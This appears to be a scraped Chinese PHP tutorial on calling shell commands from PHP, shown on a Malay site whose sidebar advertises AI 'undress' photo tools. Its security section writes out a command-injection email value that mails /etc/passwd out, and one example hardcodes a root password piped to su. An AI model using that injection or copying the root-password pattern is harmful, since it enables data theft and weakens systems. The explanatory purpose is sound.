php 执行系统外部命令的方法详解
PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。 前提条件 由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。 于是PHP的设计者们给PHP加了一个门:安全模式。 如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制: 1、执行外部命令 2、在打开文件时有些限制 3、连接mysql数据库 4、基于HTTP的认证在 安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。 这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上 --with-exec-dir选项来指定,默认是 /usr/local/php/bin。 如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能PHP运行在安全模式下。 在PHP中调用外部命令,可以用如下三种方法来实现: 1) 用PHP提供的专门函数 PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。 1、system() 原型:string system (string command [, int return_var]) system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。 例子: <?php system("/usr/local/bin/webalizer/webalizer"); ?> Salin selepas log masuk 2、exec() 原型:string exec (string command [, string array [, int return_var]]) exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结 果,方法是把结 果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码 。 例子: <?php exec("/bin/ls -l"); exec("/bin/ls -l", $res); exec("/bin/ls -l", $res, $rc); ?> Salin selepas log masuk 3、passthru() 原型:void passthru (string command [, int return_var]) passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片 的工具,输出二 进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。 例子: <?php header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm"); ?> Salin selepas log masuk 2)、用popen()函数打开进程 上面的方法只能简单地执行命令,却不能与命令交互。 有时须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行 上输入root的密码。这种情况下,用上面提到的方法显然是不行的。 popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作 模式,要么写,要么读;从PHP4开始,可以同时读和写了。 除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。 例子1: <?php $fp=popen("/bin/ls -l", "r"); ?> Salin selepas log masuk 例子2: <?php $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?> Salin selepas log masuk 3)、用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面) 这个方法以前没有归入PHP的文档,是作为一个秘技存在的。 用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。 例如: <?php $res='/bin/ls -l'; echo ' '.$res.' '; ?> Salin selepas log masuk 输出结果: hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php需要考虑两个问题:安全性和超时。 安全性。 比如,有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。 编写一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。 假设没有使用PHP的mail()函数(或从未听说过),就调用Linux/Unix系统的mail程序来发送此文件。 例如: <?php system("mail $to < products.txt"); echo "产品目录已经发送到你的信箱:$to"; ?> Salin selepas log masuk 此代码实际上存在着非常大的安全漏洞。 如果有个恶意的用户输入了这样一个EMAIL地址: '--bla ; mail someone@domain.com < /etc/passwd ;' Salin selepas log masuk 则这条命令最终变成: 'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' Salin selepas log masuk 很恐怖吧,千万不要在自己的电脑上试,否则后果不是你想像的恶劣。 php提供了两个函数:EscapeShellCmd()和EscapeShellArg()。 函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell 中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。 函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。 再说下超时问题。 如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。 默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。 解决方法,把命令的输出重定向到另外一个文件或流中。 例如: <?php system("/usr/local/bin/order_proc > /tmp/null &"); ?> Salin selepas log masuk |

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Alipay Php ...

JWT adalah standard terbuka berdasarkan JSON, yang digunakan untuk menghantar maklumat secara selamat antara pihak, terutamanya untuk pengesahan identiti dan pertukaran maklumat. 1. JWT terdiri daripada tiga bahagian: header, muatan dan tandatangan. 2. Prinsip kerja JWT termasuk tiga langkah: menjana JWT, mengesahkan JWT dan muatan parsing. 3. Apabila menggunakan JWT untuk pengesahan di PHP, JWT boleh dijana dan disahkan, dan peranan pengguna dan maklumat kebenaran boleh dimasukkan dalam penggunaan lanjutan. 4. Kesilapan umum termasuk kegagalan pengesahan tandatangan, tamat tempoh, dan muatan besar. Kemahiran penyahpepijatan termasuk menggunakan alat debugging dan pembalakan. 5. Pengoptimuman prestasi dan amalan terbaik termasuk menggunakan algoritma tandatangan yang sesuai, menetapkan tempoh kesahihan dengan munasabah,

Penerapan prinsip pepejal dalam pembangunan PHP termasuk: 1. Prinsip Tanggungjawab Tunggal (SRP): Setiap kelas bertanggungjawab untuk hanya satu fungsi. 2. Prinsip Terbuka dan Tutup (OCP): Perubahan dicapai melalui lanjutan dan bukannya pengubahsuaian. 3. Prinsip Penggantian Lisch (LSP): Subkelas boleh menggantikan kelas asas tanpa menjejaskan ketepatan program. 4. Prinsip Pengasingan Antara Muka (ISP): Gunakan antara muka halus untuk mengelakkan kebergantungan dan kaedah yang tidak digunakan. 5. Prinsip Inversi Ketergantungan (DIP): Modul peringkat tinggi dan rendah bergantung kepada abstraksi dan dilaksanakan melalui suntikan ketergantungan.

Bagaimana untuk menetapkan keizinan UnixSocket secara automatik selepas sistem dimulakan semula. Setiap kali sistem dimulakan semula, kita perlu melaksanakan perintah berikut untuk mengubahsuai keizinan UnixSocket: sudo ...

Artikel membincangkan pengikatan statik lewat (LSB) dalam PHP, yang diperkenalkan dalam Php 5.3, yang membolehkan resolusi runtime kaedah statik memerlukan lebih banyak warisan yang fleksibel. Isu: LSB vs polimorfisme tradisional; Aplikasi Praktikal LSB dan Potensi Perfo

Menghantar data JSON menggunakan perpustakaan Curl PHP dalam pembangunan PHP, sering kali perlu berinteraksi dengan API luaran. Salah satu cara biasa ialah menggunakan perpustakaan curl untuk menghantar post ...

Artikel membincangkan ciri -ciri keselamatan penting dalam rangka kerja untuk melindungi daripada kelemahan, termasuk pengesahan input, pengesahan, dan kemas kini tetap.

Bagaimana cara debug mod CLI dalam phpstorm? Semasa membangun dengan PHPStorm, kadang -kadang kita perlu debug PHP dalam mod Interface Line Command (CLI) ...
